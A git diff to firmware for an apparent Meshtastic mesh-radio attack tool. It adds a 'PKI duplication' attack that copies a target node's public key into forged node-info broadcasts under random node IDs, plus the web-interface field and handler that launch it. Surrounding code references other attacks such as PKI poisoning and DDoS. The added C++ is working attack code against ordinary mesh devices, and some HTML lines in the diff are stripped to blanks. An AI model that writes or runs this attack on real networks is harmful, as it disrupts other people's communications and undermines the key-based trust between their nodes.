diff --git a/data/web/index.html b/data/web/index.html
index 3858427..91667ae 100644
--- a/data/web/index.html
+++ b/data/web/index.html
@@ -275,6 +275,7 @@
+
Note: A Target Node ID of !ffffffff means the attack will cycle through all
@@ -334,6 +335,16 @@
+
+
Copied PKI of a selected (or randomly selected) node, alerting it the key has exposed.
+
+
+
+
+
+
+
+
@@ -562,6 +573,8 @@
command.params.max_lon = parseFloat(document.getElementById('max-lon').value);
} else if (attack === 'pki_poison') {
command.params.target_id = document.getElementById('pkipoison-target-id').value;
+ } else if (attack === 'pki_dupe') {
+ command.params.target_id = document.getElementById('pkidupe-target-id').value;
}
logToDebug(`▶️ Starting attack: ${attack}`);
@@ -606,6 +619,7 @@
document.getElementById('namechange-target-id').value = nodeId;
document.getElementById('pospoison-target-id').value = nodeId;
document.getElementById('pkipoison-target-id').value = nodeId;
+ document.getElementById('pkidupe-target-id').value = nodeId;
document.getElementById('source-node-id').value = nodeId;
logToDebug(`📋 Copied Node ID to all fields: ${nodeId}`);
}
diff --git a/main/TMAttack.cpp b/main/TMAttack.cpp
index 7ca5a58..3bf77a8 100644
--- a/main/TMAttack.cpp
+++ b/main/TMAttack.cpp
@@ -119,6 +119,34 @@ void TMAttack::atkPkiPoison() {
sendDebugMessage("Sent PKI poison for node 0x" + std::to_string(srcnode));
}
+void TMAttack::atkPkiDupe() {
+ uint32_t srcnode = target;
+ if (target == 0xffffffff) { // if target is everybody, randomize srcnode
+ srcnode = getRandomTarget();
+ if (srcnode == 0) {
+ sendDebugMessage("No valid target found for PKI duplication attack.");
+ return; // no valid target found
+ }
+ }
+ auto node = meshtasticCompact->nodeinfo_db.get(srcnode);
+ if (!node) {
+ sendDebugMessage("No valid target found for PKI duplication attack.");
+ return; // no valid target found
+ }
+ uint32_t dupenodeid = esp_random();
+ MC_NodeInfo nodeinfo = {}; // new node
+ std::string none = "";
+ std::string none2 = "";
+ uint8_t hw_model = esp_random() % 105;
+ MeshtasticCompactHelpers::NodeInfoBuilder(&nodeinfo, dupenodeid, none, none2, hw_model);
+ for (int i = 0; i < 32; i++) {
+ nodeinfo.public_key[i] = node->public_key[i]; // dupe target key
+ }
+ meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false);
+ meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false);
+ sendDebugMessage("Sent PKI dupe as node 0x" + std::to_string(srcnode));
+}
+
void TMAttack::atkRndNode() {
// Generate random latitude and longitude within specified bounds
double latitude = min_lat + static_cast(rand()) / (static_cast(RAND_MAX / (max_lat - min_lat)));
@@ -180,5 +208,7 @@ void TMAttack::loop() {
atkPkiPoison();
} else if (current_attack == AttackType::DDOS) {
atkDdos();
+ } else if (current_attack == AttackType::PKI_DUPE) {
+ atkPkiDupe();
}
}
\ No newline at end of file
diff --git a/main/TMAttack.hpp b/main/TMAttack.hpp
index 68f7289..af7f104 100644
--- a/main/TMAttack.hpp
+++ b/main/TMAttack.hpp
@@ -13,6 +13,7 @@ enum class AttackType {
NAME_CHANGE,
PKI_POISON,
DDOS,
+ PKI_DUPE
};
class TMAttack {
@@ -58,6 +59,8 @@ class TMAttack {
return "pki_poison";
case AttackType::DDOS:
return "ddos";
+ case AttackType::PKI_DUPE:
+ return "pki_dupe";
default:
return "Unknown";
}
@@ -71,6 +74,7 @@ class TMAttack {
void atkNameChange();
void atkPkiPoison();
void atkDdos();
+ void atkPkiDupe();
MeshtasticCompact* meshtasticCompact = nullptr;
std::string emoji = "😈";
diff --git a/main/main.cpp b/main/main.cpp
index 29848fa..dd58ddd 100644
--- a/main/main.cpp
+++ b/main/main.cpp
@@ -212,6 +212,14 @@ void handle_start_attack(const char* attack_type, JSON_Object* params) {
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"ddos\"}";
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}
+ if (strcmp(attack_type, "pki_dupe") == 0 && params != NULL) {
+ const char* target_id = json_object_get_string(params, "target_id");
+ ESP_LOGI("WEB", "PKI Duplication Attack Params: target_id=%s", target_id);
+ tmAttack.setTarget(getNodeIdFromCh(target_id));
+ tmAttack.setAttackType(AttackType::PKI_DUPE);
+ std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pki_dupe\"}";
+ ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
+ }
}
void handle_set_config(JSON_Object* params) {